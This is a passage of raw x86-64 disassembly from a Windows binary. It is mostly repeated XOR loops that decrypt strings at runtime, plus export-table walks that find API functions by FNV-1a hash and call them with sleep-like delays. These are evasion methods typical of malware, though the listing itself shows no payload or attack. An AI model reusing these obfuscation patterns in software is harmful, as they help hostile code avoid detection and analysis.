pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x1400819b0
cmp r8d, 0x21
jge 0x140081ae1
movsxd rax, r8d
lea r9, [rbp + 0x7b8]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140081ab0
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x7b8]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3f0]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm2, dword [0x1400a2a18]
addss xmm1, xmm8
addss xmm0, xmm9
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0xa8]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov eax, dword [0x140239394]
jmp 0x140081b5d
movss xmm6, dword [0x1400a28dc]
cmp eax, 1
jne 0x140081f23
mov eax, dword [0x1400b0e88]
mov r8d, r13d
mov dword [rbp + 0xc0], eax
movzx eax, word [0x1400b0e8c]
mov word [rbp + 0xc4], ax
movzx eax, byte [0x1400b0e8e]
mov byte [rbp + 0xc6], al
movups xmm0, xmmword [0x1400b0e70]
movups xmmword [rbp + 0xa8], xmm0
movsd xmm0, qword [0x1400b0e80]
movsd qword [rbp + 0xb8], xmm0
cmp r15d, 2
jl 0x140081cdf
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140081bd0
cmp r8d, 0x1f
jl 0x140081cdf
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
movzx ecx, word [0x1400b0e68]
mov ebx, eax
mov word [rbp + 0x7d8], cx
jmp 0x140081d3b
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x140081cf0
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
mov ebx, eax
movzx eax, word [0x1400b0e68]
mov word [rbp + 0x7d8], ax
mov r8d, r13d
movups xmm1, xmmword [0x1400b0e58]
movups xmm0, xmmword [str.cFPFVJPT_]
movups xmmword [rbp + 0x7c8], xmm1
movups xmmword [rbp + 0x7b8], xmm0
cmp r15d, 2
jl 0x140081e73
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x7bc]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140081d80
cmp r8d, 0x22
jge 0x140081eb1
movsxd rax, r8d
lea r9, [rbp + 0x7b8]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140081e80
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x7b8]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3f8]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm2, dword [0x1400a2a18]
addss xmm1, xmm8
addss xmm0, xmm9
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0xa8]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov eax, dword [0x140239394]
cmp eax, 2
jne 0x14008461c
mov eax, dword [0x1400b0ed8]
mov r8d, r13d
mov dword [rbp + 0xc0], eax
movzx eax, word [0x1400b0edc]
mov word [rbp + 0xc4], ax
movzx eax, byte [0x1400b0ede]
mov byte [rbp + 0xc6], al
movups xmm0, xmmword [0x1400b0ec0]
movups xmmword [rbp + 0xa8], xmm0
movsd xmm0, qword [0x1400b0ed0]
movsd qword [rbp + 0xb8], xmm0
cmp r15d, 2
jl 0x1400820b4
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140081f90
cmp r8d, 0x1f
jl 0x1400820b4
movss xmm6, dword [0x1400a28dc]
mov ecx, esi
movaps xmm1, xmm6
call fcn.1400429e0
movzx ecx, word [0x1400b0eb8]
mov ebx, eax
mov word [rbp + 0x240], cx
movzx ecx, byte [0x1400b0eba]
mov byte [rbp + 0x242], cl
jmp 0x140082121
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x1400820c1
movss xmm6, dword [0x1400a28dc]
mov ecx, esi
movaps xmm1, xmm6
call fcn.1400429e0
mov ebx, eax
movzx eax, word [0x1400b0eb8]
mov word [rbp + 0x240], ax
movzx eax, byte [0x1400b0eba]
mov byte [rbp + 0x242], al
mov r8d, r13d
movups xmm0, xmmword [0x1400b0e90]
movups xmm1, xmmword [0x1400b0ea0]
movups xmmword [rbp + 0x218], xmm0
movsd xmm0, qword [0x1400b0eb0]
movsd qword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x228], xmm1
cmp r15d, 2
jl 0x140082263
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x21c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x140082170
cmp r8d, 0x2b
jge 0x1400822a1
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140082270
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x218]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3a8]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm2, dword [0x1400a2a18]
addss xmm1, xmm8
addss xmm0, xmm9
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0xa8]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
movzx ecx, word [0x1400b0ee4]
lea rdx, [rbp + 0x80]
xor eax, eax
mov word [rbp + 0x84], cx
xor byte [rbp + 0x85], 0x38
xor cl, 0x37
mov qword [rbp + 0x780], rax
xorps xmm0, xmm0
mov eax, dword [0x1400b0ee0]
mov dword [rbp + 0x80], eax
movzx eax, byte [0x1400b0ee6]
xor byte [rbp + 0x81], 0x34
xor al, 0x39
xor byte [rbp + 0x82], 0x35
xor byte [rbp + 0x83], 0x36
mov byte [rbp + 0x84], cl
lea rcx, [rsp + 0x70]
mov byte [rbp + 0x86], al
movups xmmword [rbp + 0x770], xmm0
mov byte [rbp + 0x80], 0x30
call fcn.140031a60
mov r8, rax
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x930]
call fcn.14008eb70
xorps xmm0, xmm0
mov qword [rbp + 0x7c8], r13
movups xmmword [rbp + 0x7b8], xmm0
lea rdx, [rbp + 0x770]
mov byte [rbp + 0x7b8], 0
lea rcx, [rsp + 0x70]
mov qword [rbp + 0x7d0], 0xf
call fcn.1400386e0
mov rdi, rax
call fcn.14007b760
test al, al
jne 0x140082464
cmp qword [0x140239368], 0
jne 0x140082406
call fcn.140075e20
mov qword [0x140239368], rax
cmp rax, 0xffffffffffffffff
jne 0x140082406
mov ebx, 2
jmp 0x1400824c3
mov rdx, rdi
lea rcx, [rbp + 0x798]
call fcn.1400386e0
mov rcx, qword [0x140239368]
xor r9d, r9d
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov rdx, rax
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 0
call fcn.1400772e0
test rax, rax
jne 0x1400824c0
mov rcx, qword [0x140239368]
call fcn.140076a50
test al, al
jne 0x1400824c0
mov ebx, 3
jmp 0x1400824c3
mov rdx, rdi
lea rcx, [rbp + 0x798]
call fcn.1400386e0
mov rcx, qword [0x140239368]
xor r9d, r9d
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov rdx, rax
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 0
call fcn.1400772e0
test rax, rax
jne 0x1400824c0
mov rcx, qword [0x140239368]
call fcn.140076a50
mov ebx, 3
test al, al
je 0x1400824c3
mov ebx, r13d
mov rcx, rdi
call fcn.140030ce0
mov rax, qword [rbp + 0x770]
cmp rax, qword [rbp + 0x778]
je 0x1400824e2
mov qword [rbp + 0x778], rax
movzx ecx, word [0x1400b0eec]
lea rdx, [rbp + 0xbb0]
mov eax, dword [0x1400b0ee8]
xorps xmm0, xmm0
mov dword [rbp + 0xbb0], eax
movzx eax, byte [0x1400b0eee]
xor byte [rbp + 0xbb1], 0x34
xor al, 0x39
xor byte [rbp + 0xbb2], 0x35
xor byte [rbp + 0xbb3], 0x36
mov word [rbp + 0xbb4], cx
xor cl, 0x37
xor byte [rbp + 0xbb5], 0x38
mov byte [rbp + 0xbb4], cl
lea rcx, [rbp + 0x798]
movdqu xmmword [rbp + 0x7f8], xmm0
mov qword [rbp + 0x808], r13
mov byte [rbp + 0xbb0], 0x31
mov byte [rbp + 0xbb6], al
call fcn.140031a60
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x930]
call fcn.14008eb70
mov rdi, rax
lea rax, [rbp + 0x7f8]
cmp rax, rdi
je 0x1400825b6
lea rcx, [rbp + 0x7f8]
call fcn.140030ce0
mov rcx, qword [rdi]
mov qword [rbp + 0x7f8], rcx
mov rcx, qword [rdi + 8]
mov qword [rbp + 0x800], rcx
mov rcx, qword [rdi + 0x10]
mov qword [rbp + 0x808], rcx
mov qword [rdi], r13
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r13
lea rcx, [rsp + 0x70]
call fcn.140030ce0
test ebx, ebx
je 0x140083a64
sub ebx, 2
je 0x140082cb9
cmp ebx, 1
jne 0x1400845f8
mov r8d, r13d
movups xmm0, xmmword [0x1400b0f68]
movups xmm1, xmmword [0x1400b0f78]
movups xmmword [rbp + 0x258], xmm0
movsd xmm0, qword [0x1400b0f88]
movsd qword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x268], xmm1
cmp r15d, 2
jl 0x14008271d
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x25c]
mov r8d, dword [rsp + 0x70]
mov edx, r13d
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x28
jl 0x140082630
jmp 0x140082763
lea r9, [rbp + 0x258]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x140082730
movdqa xmm0, xmmword [0x1400a7d50]
lea rcx, [rbp + 0x798]
movups xmmword [rbp + 0x798], xmm0
call fcn.14003fa90
mov ebx, eax
mov r8d, r13d
movups xmm0, xmmword [0x1400b0f40]
movups xmm1, xmmword [0x1400b0f50]
movups xmmword [rbp + 0x6a0], xmm0
movsd xmm0, qword [0x1400b0f60]
movsd qword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6b0], xmm1
cmp r15d, 2
jl 0x1400828bd
movdqa xmmword [rsp + 0x70], xmm15
lea rcx, [rbp + 0x6a4]
mov r8d, dword [rsp + 0x70]
mov edx, r13d
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x28
jl 0x1400827d0
jmp 0x140082903
lea r9, [rbp + 0x6a0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x28
jl 0x1400828d0
movss xmm3, dword [0x140239378]
lea r9, [rbp + 0x6a0]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x3d0]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm1, dword [0x1400b1094]
addss xmm2, dword [0x1400a2a18]
addss xmm0, xmm9
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0x258]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140082a05
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140082a05
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x34dda070
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140082a00
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400829e0
cmp edx, 0xf4569c63
je 0x140082a0a
test r9d, r9d
jne 0x1400829c0
mov rax, qword [rax]
jmp 0x140082990
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov ecx, 0x1388
add rax, r10
call rax
cmp byte [0x1400b0f9d], 0
movsd xmm0, qword [0x1400b0f90]
movzx eax, word [0x1400b0f9c]
mov ecx, dword [0x1400b0f98]
movsd qword [rbp + 0xd0], xmm0
mov word [rbp + 0xdc], ax
mov dword [rbp + 0xd8], ecx
je 0x140082bf1
mov r8d, r13d
cmp r15d, 2
jl 0x140082bb3
movd eax, xmm15
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
mov r8d, 0xc
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400b0f90]
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rbp + 0xd0], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xd4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp + 0xd4], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xd8], xmm2
mov eax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x140082bc0
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x70]
call fcn.140031a60
mov rcx, rax
call fcn.14001d8a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140082c95
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140082c95
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x9b49ceae
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140082c90
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140082c70
cmp edx, 0x69976176
je 0x140082c9a
test r9d, r9d
jne 0x140082c50
mov rax, qword [rax]
jmp 0x140082c20
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov ecx, 9
jmp 0x1400845f3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140082d45
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140082d45
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xef435122
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140082d40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140082d20
cmp edx, 0xd2f3685
je 0x140082d4a
test r9d, r9d
jne 0x140082d00
mov rax, qword [rax]
jmp 0x140082cd0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov ecx, 0x7d0
